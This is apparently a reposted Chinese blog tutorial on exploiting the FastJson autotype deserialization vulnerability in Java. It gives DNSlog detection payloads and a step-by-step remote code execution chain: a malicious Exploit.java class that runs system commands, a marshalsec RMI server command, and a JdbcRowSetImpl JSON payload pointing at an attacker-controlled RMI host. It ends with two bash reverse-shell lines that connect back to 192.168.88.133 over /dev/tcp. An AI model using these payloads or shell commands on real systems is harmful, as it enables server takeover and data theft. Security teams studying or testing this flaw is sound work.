赞
踩
FastJson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
FastJson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据。
详细描述
漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
1.报错回显信息判断fastjson,无特殊配置情况下fastjson,无正确的闭合会报错,返回结果里有fastjson字样
2.dnslog盲打判断fastjson
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
1.2.67版本后
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
POC:
要嵌套在里面zeo里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
主机A:存在fastjson反序列化漏洞的主机
主机C:为RMI/LDAP服务
主机B:为构造的恶意类(包含要执行的命令)
在整个远程命令执行流程:
1、黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C
3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类
4、主机A引发恶意系统命令执行
kali安装java版本
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
编译恶意类
javac Exploit.java
Exploit.java源码如下
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/hel10"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后开启Web服务,让rmi服务能够获取到恶意类。
再开启RMI服务监听
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999
然后利用payload攻击目标主机
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.88.133:9999/Exploit",
"autoCommit":true
}
}
目标主机触发反序列化漏洞,主动进行RMI远程调用连接VPS,RMI指定加载的是VPS上的恶意java类,从而目标主机通过RMI服务远程加载调用到了VPS上的恶意java类。
反弹shell的话就修改恶意java里面的东西就好:
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.88.133/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.88.133/1234 0>&1"
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。